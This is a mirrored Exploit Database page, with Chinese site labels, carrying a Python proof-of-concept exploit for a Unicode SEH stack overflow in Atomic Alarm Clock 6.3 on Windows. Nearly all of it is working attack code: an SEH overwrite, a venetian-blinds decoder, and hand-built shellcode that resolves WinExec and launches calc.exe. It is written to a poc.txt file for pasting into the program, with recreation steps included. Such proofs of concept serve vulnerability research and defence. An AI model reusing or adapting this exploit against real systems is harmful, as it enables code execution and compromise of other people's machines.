Atomic Alarm Clock 6.3 – Stack Overflow (Unicode+SEH)

• Exploit Database
• 15 阅读

• 作者： boku
  日期： 2020-04-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48346/

• # Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
  # Exploit Author: Bobby Cooke
  # Date: 2020-04-17
  # Vendor: Drive Software Company
  # Vendor Site: http://www.drive-software.com
  # Software Download: http://www.drive-software.com/download/ataclock.exe
  # Tested On: Windows 10 - Pro 1909 (x86)
  # Version: Atomic Alarm Clock 6.3 beta
  # Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer
  
  File= 'poc.txt'
  
  os_nSEH = '\x41'*(461)
  nSEH= '\xeb\x05' # jmp short +2
  SEH = '\x47\x47' # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] 
  #{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False 
  
  getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory 
  getPC+= '\x61' # popad # [ESP] = &Payload
  getPC+= '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
  
  ebx2eax= '\x58'# pop eax # EAX = &Payload
  ebx2eax += '\x72'# add [edx], dh
  
  # Ajust EAX to &Decoder
  getDecoder= '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
  getDecoder += '\x72' # add [edx], dh
  getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
  getDecoder += '\x72' # add [edx], dh
  getDecoder += '\x50' # push eax# [ESP] = &Decoder
  getDecoder += '\x72' # add [edx], dh
  
  #DecoderHex= '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
  firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
  ## 2nd byte - \x00 => \x5F
  venBlinds = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72' 
  ## 4th byte - \x00 => \x33
  venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72' 
  ## 6th byte - \x00 => \x33
  venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72' 
  ## 8th byte - \x00 => \x66
  venBlinds+= '\xC6\x66\x72\x40\x72\x40\x72' 
  ## 10th byte - \x00 => \x10
  venBlinds+= '\xC6\x10\x72\x40\x72\x40\x72' 
  ## 12th byte - \x00 => \x33
  venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72' 
  ## 14th byte - \x00 => \x42
  venBlinds+= '\xC6\x42\x72\x40\x72\x40\x72' 
  ## 16th byte - \x00 => \x32
  venBlinds+= '\xC6\x32\x72\x40\x72\x40\x72' 
  ## 18th byte - \x00 => \x02
  venBlinds+= '\xC6\x02\x72\x40\x72\x40\x72' 
  ## 20th byte - \x00 => \x10
  venBlinds+= '\xC6\x10\x72\x40\x72\x40\x72' 
  ## 22nd byte - \x00 => \x3F
  venBlinds+= '\xC6\x3F\x72\x40\x72\x40\x72' 
  ## 24nd byte - \x00 => \x1F
  venBlinds+= '\xC6\x1F\x72\x40\x72\x40\x72' 
  ## 26th byte - \x00 => \x49
  venBlinds+= '\xC6\x49\x72\x40\x72\x40\x72' 
  ## 28th byte - \x00 => \x02
  venBlinds+= '\xC6\x02\x72\x40\x72\x40\x72' 
  ## 30th byte - \x00 => \xED
  venBlinds+= '\xC6\xED\x72\x40\x72\x40\x72' 
  ## 32nd byte - \x00 => \xC3
  venBlinds+= '\xC6\xC3\x72\x40\x72' 
  # Jump to the decoded decoder by Returning to the address we saved on the stack
  venBlinds+= '\xC3' # ret[!] Now we are executing the decoder!
  
  os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
  
  # Custom PopCalc shellcode that avoids the bad characters
  fKernel32= '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'
  
  gExpotTbl= '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'
  
  fWinExec = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'
  
  # Call WinExec( CmdLine, ShowState );
  # CmdLine = "calc.exe"
  # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
  callWinExec= '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'
  
  shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
  
  buffer= os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
  filler= '\x77'*(9000-len(buffer))
  buffer= buffer+filler
  
  try:
  payload = buffer
  f = open(File, 'w')
  f.write(payload)
  f.close()
  print File + " created successfully"
  except:
  print File + ' failed to create'